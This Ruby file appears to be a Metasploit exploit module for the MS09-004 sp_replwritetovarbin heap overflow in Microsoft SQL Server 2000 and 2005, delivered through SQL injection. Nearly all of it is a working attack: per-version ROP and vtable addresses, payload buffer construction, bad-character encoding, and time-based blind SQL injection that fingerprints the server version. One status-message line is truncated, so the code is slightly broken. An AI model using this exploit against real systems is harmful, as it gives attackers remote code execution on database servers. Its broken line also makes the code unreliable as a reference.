require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::MSSQL_SQLI
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection',
'Description'=> %q{
A heap-based buffer overflow can occur when calling the undocumented
"sp_replwritetovarbin" extended stored procedure. This vulnerability affects
all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,
and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.
Microsoft patched this vulnerability in SP3 for 2005 without any public
mention.
This exploit smashes several pointers, as shown below.
1. pointer to a 32-bit value that is set to 0
2. pointer to a 32-bit value that is set to a length influcenced by the buffer
length.
3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,
this value is referenced with a displacement of 0x38. For MSSQL 2005, the
displacement is 0x10. The address of our buffer is conveniently stored in
ecx when this instruction is executed.
4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with
a displacement of 4. This pointer is not used by this exploit.
This particular exploit replaces the previous dual-method exploit. It uses
a technique where the value contained in ecx becomes the stack. From there,
return oriented programming is used to normalize the execution state and
finally execute the payload via a "jmp esp". All addresses used were found
within the sqlservr.exe memory space, yielding very reliable code execution
using only a single query.
NOTE: The MSSQL server service does not automatically restart by default. That
said, some exceptions are caught and will not result in terminating the process.
If the exploit crashes the service prior to hijacking the stack, it won't die.
Otherwise, it's a goner.
},
'Author' =>
[
'jduck',
'Rodrigo Marcos'
],
'License'=> MSF_LICENSE,
'Version'=> '$Revision: 11730 $',
'References' =>
[
[ 'OSVDB', '50589' ],
[ 'CVE', '2008-5416' ],
[ 'BID', '32710' ],
[ 'MSB', 'MS09-004' ],
[ 'URL', 'http://www.milw0rm.com/exploits/7501' ],
[ 'URL', 'http://www.secforce.co.uk/blog/2011/01/exploiting-ms09-004-via-sql-injection/' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
'InitialAutoRunScript' => 'migrate -f'
},
'Payload'=>
{
'Space'=> 512,
'BadChars' => "",
'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff",
'DisableNops' => true
},
'Platform' => 'win',
'Privileged' => true,
'Targets'=>
[
[ 'Automatic', { } ],
[
'MSSQL 2000 / MSDE SP0 (8.00.194)',
{
'Num'=> 32,
'VtOff'=> -13,
'VtDisp' => 0x38,
'Writable' => 0x42b6cfe0,
'Vtable' => 0x00a87f26,
'FixDisp'=> 0x6900a7,
'Disp' => 0x08,
'ecx2esp'=> 0x0041b78f,
'Popped' => 0x4,
'Offset' => 0x28,
'FixESP' => 0x0071f5fb,
'Ret'=> 0x0041c9a2
},
],
[
'MSSQL 2000 / MSDE SP1 (8.00.384)',
{
'Num'=> 32,
'VtOff'=> -13,
'VtDisp' => 0x38,
'Writable' => 0x42b6cfe0,
'Vtable' => 0x00a95b2f,
'FixDisp'=> 0x4b4f00,
'Disp' => 0x34,
'ecx2esp'=> 0x0044d300,
'Popped' => 0x8,
'Offset' => 0x28,
'FixESP' => 0x004a2ce9,
'Ret'=> 0x004caa15
},
],
[
'MSSQL 2000 / MSDE SP2 (8.00.534)',
{
'Num'=> 32,
'VtOff'=> -13,
'VtDisp' => 0x38,
'Writable' => 0x42b6cfe0,
'Vtable' => 0x00a64f7e,
'FixDisp'=> 0x660077,
'Disp' => 0x34,
'ecx2esp'=> 0x0054131c,
'Popped' => 0x8,
'Offset' => 0x28,
'FixESP' => 0x005306a0,
'Ret'=> 0x004ca984
},
],
[
'MSSQL 2000 / MSDE SP3 (8.00.760)',
{
'Num'=> 32,
'VtOff'=> -13,
'VtDisp' => 0x38,
'Writable' => 0x42b6cfe0,
'Vtable' => 0x00ac344e,
'FixDisp'=> 0x490074,
'Disp' => 0x34,
'ecx2esp'=> 0x00454303,
'Popped' => 0x8,
'Offset' => 0x28,
'FixESP' => 0x00503413,
'Ret'=> 0x0043fa97
},
],
[
'MSSQL 2000 / MSDE SP4 (8.00.2039)',
{
'Num'=> 32,
'VtOff'=> -13,
'VtDisp' => 0x38,
'Writable' => 0x42b6cfe0,
'Vtable' => 0x0046592e,
'FixDisp'=> 0x69f5e8,
'Disp' => 0x14,
'ecx2esp'=> 0x007b39a8,
'Popped' => 0x4,
'Offset' => 0x20,
'FixESP' => 0x00b3694d,
'Ret'=> 0x0047c89d
},
],
[
'MSSQL 2005 SP0 (9.00.1399.06)',
{
'Num'=> 32,
'VtOff'=> 63,
'VtDisp' => 0x10,
'Writable' => 0x53ad5330,
'Vtable' => 0x02201ca8,
'FixDisp'=> 0x10e860f,
'Disp' => 0x50,
'ecx2esp'=> 0x0181c0d4,
'Popped' => 0x4,
'Offset' => 0x20,
'FixESP' => 0x0147deb7,
'Ret'=> 0x0112c2c7
},
],
[
'MSSQL 2005 SP1 (9.00.2047.00)',
{
'Num'=> 32,
'VtOff'=> 63,
'VtDisp' => 0x10,
'Writable' => 0x53ad5330,
'Vtable' => 0x0244c803,
'FixDisp'=> 0x17139e9,
'Disp' => 0x52,
'ecx2esp'=> 0x0183bf9c,
'Popped' => 0x4,
'Offset' => 0x20,
'FixESP' => 0x014923c1,
'Ret'=> 0x011b204c
},
],
[
'MSSQL 2005 SP2 (9.00.3042.00)',
{
'Num'=> 32,
'VtOff'=> 63,
'VtDisp' => 0x10,
'Writable' => 0x53ad5330,
'Vtable' => 0x027fca52,
'FixDisp'=> 0x1106d6b,
'Disp' => 0x52,
'ecx2esp'=> 0x01849641,
'Popped' => 0x4,
'Offset' => 0x20,
'FixESP' => 0x01498b22,
'Ret'=> 0x010a5379
},
],
[ 'CRASHER', { } ]
],
'DefaultTarget'=> 0,
'DisclosureDate' => 'Dec 09 2008'
))
register_options(
[
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ])
])
end
def check
if not (version = mssql_query_version)
return Exploit::CheckCode::Safe
end
print_status("@@version returned:\n\t" + version)
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/)
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.384/)
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.534/)
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.760/)
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/)
return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/)
return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.2047\.00/)
return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.3042\.00/)
return Exploit::CheckCode::Safe
end
def exploit
mytarget = nil
if target.name =~ /Automatic/
print_status("Attempting automatic target detection...")
version = mssql_query_version
raise RuntimeError, "Unable to get version!" if not version
if (version =~ /8\.00\.194/)
mytarget = targets[1]
elsif (version =~ /8\.00\.384/)
mytarget = targets[2]
elsif (version =~ /8\.00\.534/)
mytarget = targets[3]
elsif (version =~ /8\.00\.760/)
mytarget = targets[4]
elsif (version =~ /8\.00\.2039/)
mytarget = targets[5]
elsif (version =~ /9\.00\.1399\.06/)
mytarget = targets[6]
elsif (version =~ /9\.00\.2047\.00/)
mytarget = targets[7]
elsif (version =~ /9\.00\.3042\.00/)
mytarget = targets[8]
end
if mytarget.nil?
raise RuntimeError, "Unable to automatically detect the target"
else
print_status("Automatically detected target \"
end
else
mytarget = target
end
sqlquery = %Q|declare @i int,@z nvarchar(4000)
set @z='declare @e int,@b varbinary,@l int;'
set @z=@z+'exec sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'',@l,@l,@l,@l,@l,@l,@l,@l'
exec sp_executesql @z|
if mytarget.name == 'CRASHER'
sploit = Rex::Text.pattern_create(2048)
print_status("Attempting to corrupt memory to cause an exception!")
num = 32
else
num = mytarget['Num']
vt_off = mytarget['VtOff']
vt_disp = mytarget['VtDisp']
vtable = mytarget['Vtable']
ecx_disp = mytarget['Disp']
esp_off = mytarget['Offset']
hijack_esp = mytarget['ecx2esp']
first_esp = mytarget['Popped']
fix_esp = mytarget['FixESP']
writable = mytarget['Writable']
corruptable_bytes = 0x44
sz = (num + vt_off) + esp_off + (2 + corruptable_bytes) + payload.encoded.length
sploit = rand_text_alphanumeric(sz)
vtable_off = (num + vt_off)
sploit[vtable_off,4] = [(vtable - vt_disp)].pack('V')
hijack_off = vtable_off + ecx_disp
sploit[hijack_off,4] = [hijack_esp].pack('V')
sploit[(vtable_off-4),4] = [writable].pack('V')
fixesp_off = vtable_off + first_esp
sploit[fixesp_off,4] = [fix_esp].pack('V')
stack_off = vtable_off + esp_off
stack = []
stack << mytarget['Ret']
stack = stack.pack('V*')
stack << "\xeb" + [corruptable_bytes].pack('C')
stack << rand_text_alphanumeric(corruptable_bytes)
stack << payload.encoded
sploit[stack_off,stack.length] = stack
sploit[hijack_off,4] = [hijack_esp].pack('V')
print_status("Redirecting flow to %#x via call to our faked vtable ptr @ %#x" % [mytarget['FixDisp'], vtable])
end
enc = mssql_encode_string(sploit)
runme = sqlquery.gsub(/%NUM%/, num.to_s)
runme.gsub!(/%STUFF%/, enc)
print_status('The SQL Server will probably die after exploitation. Follow the "POSTEXPLOITATION" instructions in the README file')
begin
mssql_query(runme, datastore['VERBOSE'])
rescue ::Errno::ECONNRESET, EOFError
print_error("Error: #{$!}")
end
handler
disconnect
end
def mssql_str_to_chars(str)
ret = ""
str.unpack('C*').each do |ch|
ret += "+" if ret.length > 0
ret += "char("
ret << ch.to_s
ret += ")"
end
return ret
end
def mssql_encode_string(str)
badchars = "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f"
enc = ""
in_str = true
str.unpack('C*').each do |ch|
if ch == 0x27
if not in_str
enc << "+'"
in_str = true
end
enc << ch.chr * 4
next
end
if ch == 0x5c
if not in_str
enc << "+'"
in_str = true
end
enc << ch.chr * 2
next
end
if ((idx = badchars.index(ch.chr)))
enc << "'" if in_str
enc << "+char(0x%x)" % ch
in_str = false
else
enc << "+'" if not in_str
enc << ch.chr
in_str = true
end
end
enc << "+'" if not in_str
return enc
end
def mssql_query_version
delay = 5
t = Time.now
res = mssql_query("select @@version",datastore['VERBOSE'])
response_time = Time.now-t
if (response_time > delay)
return nil
end
versions = %w[8.00.194 8.00.384 8.00.534 8.00.760 8.00.2039 9.00.1399.06 9.00.2047.00 9.00.3042.00]
versions.each_with_index { |version,i|
t = Time.now
res = mssql_query("if ((select PATINDEX('%#{version}%', @@version))>0)WAITFOR DELAY '00:00:#{delay.to_s}'",datastore['VERBOSE'])
response_time = Time.now-t
if (response_time > delay)
return version
end
}
return nil
end
end